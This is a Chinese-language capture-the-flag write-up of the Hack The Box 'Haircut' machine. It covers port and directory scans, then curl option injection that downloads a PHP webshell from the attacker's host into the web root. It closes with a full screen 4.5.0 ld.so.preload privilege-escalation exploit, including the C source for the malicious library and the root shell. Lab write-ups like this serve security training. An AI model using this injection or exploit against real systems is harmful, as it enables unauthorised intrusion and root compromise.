【Hack The Box】linux练习-- Haircut

news2025/1/18 20:10:37

HTB 学习笔记

【Hack The Box】linux练习-- Haircut


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月7日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

文章目录

  • HTB 学习笔记
    • 信息收集
    • 期权注入
    • 提权
    • exp分析
    • 手动分析
    • 执行

在这里插入图片描述

信息收集

22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
|   256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_  256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open  http    nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title:  HTB Hairdresser 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
/index.html           (Status: 200) [Size: 144]
/uploads              (Status: 301) [Size: 194]

在这里插入图片描述CREATOR: gd-jpeg v1.0
这也没啥用
到目前为止没有任何思路
换个大一点的字典接着跑

gobuster dir -u http://10.129.95.174 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x php

又扫出来个

/exposed.php

在这里插入图片描述直接go一下吓我一跳

在这里插入图片描述
他的这个页面值得注意的就是这个(一会再说)
但是我们还是按照正常的审查思路来
首先,我们应该考虑,能不能包含我们的本地文件

开始实施,先放咱们自己的ip
在这里插入图片描述本地开个icmp监听
确定可以
于是尝试本地文件包含,但后门文件只是被作为一部分响应体,所以继续
在这里插入图片描述
在页面上就是类似长得像这样
在这里插入图片描述没有人会去解析我们的php

期权注入

我们在看到他访问自己的界面的时候的显示
是非常少见的,或者说你几乎没有见过的------
这个东西是curl的一个特征
我们可以看到curl的正常输出是这样的
在这里插入图片描述
结合我刚才发现了uploads目录,我将尝试-o将我们的脚本输出到uploads
对于webshell
默认的目录一般均为/var/www/http

我们现在假设他执行了curl命令
那么需要在框子中输入
http://10.10.14.7/shell.php -o /var/www/html/uploads/shell.php
在这里插入图片描述
在这里插入图片描述

提权

find / -perm -4000 -o -perm -2000 -type f 2>/dev/null  

在这里插入图片描述

exp分析

https://www.exploit-db.com/exploits/41154

把sh丢进去赋权执行吧
结果报错,应该是gcc的问题可能,那我就在本地做好然传进去,这叫自动脚本手动化

在这里插入图片描述

手动分析

我觉得这个就是一个恶意库劫持

首先,它改变了的所有者 /tmp/rootshell到 root:root,然后将权限更改为 SUID,删除文件 /etc/ld.so.preload, 并打印一条消息。 当然,这看不懂都没关系,看得懂他在哪里执行什么就行
然后把这段c代码编译成 /tmp/libhax.so

cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

接下来脚本创建 /tmp/rootshell:

cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c

然后这几步我也看不懂,照抄就行
在这里插入图片描述
最后,它会调用现在的 SUID /tmp/rootshell

执行

把刚才上面代码块里的c部分取出来,一个是libhax.c,一个是rootshell.c

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
gcc -o /tmp/rootshell /tmp/rootshell.c

可以就在当前目录,不需要tmp
在这里插入图片描述
编译报了点问题
但好像没啥事
然后在靶机wget下载过去rootshell和libhax.so

cd /etc/
umask 000
screen-4.5.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" 
cat ld.so.preload
screen-4.5.0 -ls
/tmp/rootshell 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/23611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Fiddler收费没得用?这款抓包神器 Github star 过万,一个字:香

关于抓包&#xff0c;那是测试人员必备技能之一了&#xff0c;通常我们会通过一些抓包工具来辅助我们测试、定位bug。 我最早接触并使用的就是 fiddler &#xff0c;不过目前最新版本已经要开始付费了&#xff0c;以前很老的那版我也不爱用了&#xff0c;这可咋整&#xff1f;…

软件测试投了几十份简历为什么没有面试邀约?

最近有不少人问&#xff0c;测试岗位&#xff0c;为啥投了简历却连一个面试机会都没有&#xff1f;如下图&#xff1a; 投3份简历没有回音&#xff0c;有可能是投的公司规模较大&#xff0c;你自身条件不过关&#xff08;如学历&#xff0c;年龄不符合要求&#xff09;。 投30…

网络是怎样连接的--DNS服务器查询原理

文章目录3.1 DNS服务器基本工作3.2 寻找相应的DNS服务器并获取ip地址3.3 通过缓存加快DNS服务器的响应3.1 DNS服务器基本工作 DNS服务器的基本工作就是接收来自客户端的查询消息&#xff0c;然后根据消息的内容返回响应。 其中&#xff0c;来自客户端的查询消息包含以下3种信…

Java 面试题 —— 简单工厂、工厂方法、抽象工厂的区别

Java 面试题 —— 简单工厂、工厂方法、抽象工厂的区别 1、简单工厂模式 ​ 简单工厂模式&#xff08;Simple Factory Pattern&#xff09;&#xff1a;又称为静态工厂方法&#xff08;Static Factory Method&#xff09;模式&#xff0c;它属于类创建型模式。 ​ 在简单工厂…

常见仿射变换矩阵

旋转&#xff08;Rotation&#xff09; def _get_rotation_matrix(rotate_degrees):radian math.radians(rotate_degrees)rotation_matrix np.array([[np.cos(radian), -np.sin(radian), 0.],[np.sin(radian), np.cos(radian), 0.], [0., 0., 1.]],dtypenp.float32)return r…

C# 学习之路(C# 的概念)

C# 学习之路&#xff08;C# 的概念&#xff09; - 什么是 C# C# 的发音是 “C sharp”&#xff0c;不是念作 “C 井”&#xff08;虽然&#xff0c;我在没有接触之前是念“C 井”&#x1f923;&#xff09;。C# 的第一个版本是 2002年发布的 C# 1.0&#xff0c;但到如今&#x…

Redis——》内存淘汰策略

推荐链接&#xff1a; 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 Redis——》内存淘汰策略一、内存淘汰策略二、设置缓存大小三、设置过期时间…

前端常见面试题

前端常见面试题大全前端本地存储的方式有哪些?JS 的参数是以什么方式进行传递的?js中的垃圾回收?作用域链?什么是闭包?原型 与 原型链js的继承判断一个数据是否为数组? > 数组的方法数组去重?this指向问题?Promise是什么? 构造函数 异步代码的容器手写promo深拷贝 …

AQS源码解析 2.简介 内部核心结构

AQS源码解析—简介 & 内部核心结构 AQS内部结构 简介 AbstractQueuedSynchronizer&#xff1a;AQS&#xff0c;抽象队列同步器。主要是为了解决线程锁竞争的问题。 AQS 原理图如下&#xff0c;其本质是一个双向链表/队列 多线程抢锁内部数据结构&#xff0c;如下 核…

m基于matlab的站点休眠中继CDMA网络动态节能控制算法仿真与性能分析

目录 1.算法概述 2.仿真效果预览 3.MATLAB部分代码预览 4.完整MATLAB程序 1.算法概述 蜂窝网络不仅需要能够为用户提供高质量的语音服务&#xff0c;而且要能够提供大量的数据传输服务&#xff0c;这就决定了蜂窝网络的发展必须要进一步提高系统容量和高速数据速率覆盖&…

银行人总结5个影响系统性能的因素,怕是很多人都会忽略

性能测试往往在投产上线前开展&#xff0c;无法对整个系统变更进行全面的覆盖测试&#xff0c;因此性能测试需求提出十分关键。 性能测试需求交付过程中&#xff0c;需要对开发团队提出的测试需求进行审查&#xff0c;重点分析交付的测试需求是否充分覆盖了影响系统性能的因素…

Cisco Packet Tracer HSRP技术练习

公司拓扑图 交换机配置参数表&#xff0c;如表2-3-4所示。 表2-3-4 交换机配置参数表 交换机 vlan IP地址 hsrp组 虚拟网关地址 核心1 Vlan 10 172.16.10.252/24 10 172.16.10.254/24 Vlan20 172.16.20.252/24 20 172.16.20.254/24 核心2 Vlan 10 172.16.10.…

基于springboot+vue的高校迎新系统(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战 主要内容&#xff1a;毕业设计(Javaweb项目|小程序等)、简历模板、学习资料、面试题库、技术咨询 文末联系获取 项目介绍…

Android App开发实战项目之仿手机QQ动感影集动画播放(附源码和演示视频 可直接使用)

需要图片集和源码请点赞关注收藏后评论区留言~~~ 动感影集就是只要用户添加一张图片&#xff0c;动感影集就能给每张图片渲染不同的动画效果&#xff0c;让原本静止的图片变得活泼起来&#xff0c;辅以各种精致的动画特效&#xff0c;营造一种赏心悦目的感觉。 一、需求描述 …

Cadence Allegro PCB设计88问解析(十八) 之 Allegro中差分规则设置

一个学习信号完整性仿真的layout工程师 我们在进行layout设计时&#xff0c;进行会遇到差分信号的layout&#xff0c;像USB和HDMI等&#xff0c;是需要控制阻抗的&#xff0c;那么我们在走线的时候&#xff0c;也需要从电器规则和物理规则上设置差分要求&#xff0c;今天和大家…

K8S kube-scheduler-master CreateContainerError 问题解决及思路

错误信息1&#xff1a; kubectl get pods 发现pod状态一直在 runing-error-CrashLoopBackOff -循环 解决方法&#xff1a;1&#xff0c;查看日志。 kubectl logs pods web-674477549d-zx8gmkubectl describe pods web-674477549d-zx8gm 没有发现错误&#xff0c;并且服务器资源…

2023年MBA/MPA/MEM联考笔试答题抓分点

距离今年的管理类联考还有一个月左右的时间&#xff0c;在最后这个阶段&#xff0c;除了继续稳固的提升自身应试的基本能力之外&#xff0c;一些细节和技巧也要特别关注和留意&#xff0c;说不定可以在考场上帮自己更好的抓分。今天杭州达立易考教育为大家整理主观题答题的五个…

链表OJ题+牛客题

目录 206.反转链表 876.链表的中间节点 链表中倒数第k个节点 CM11链表分割 OR36 链表的回文 206.反转链表 给你单链表的头节点head,请你反转链表&#xff0c;并返回反转后的链表。 实现如下结果&#xff1a; 思路&#xff1a; 取链表中的节点头插&#xff1a; 代码&#…

操作系统的奋斗(二)

第二章 进程与线程2.1进程与线程2.1.1进程的概念、特征、状态与转换2.1.2进程的组织、控制、通信2.1.3进程和多线程模型2.2处理机调度2.2.1调度的概念、目标、实现2.2.2典型的调度算法2.2.3进程切换2.3同步与互斥2.3.1同步与互斥的基本概念2.3.2实现临界区互斥的基本办法2.3.3互…

IPv6与VoIP——配置Cisco CME实现VoIP实验

作者简介&#xff1a;一名在校云计算网络运维学生、每天分享网络运维的学习经验、和学习笔记。 座右铭&#xff1a;低头赶路&#xff0c;敬事如仪 个人主页&#xff1a;网络豆的主页​​​​​​ 目录 前言 一.配置Cisco CME实现VoIP 1.实验环境 2.需要设备 Cisco P Co…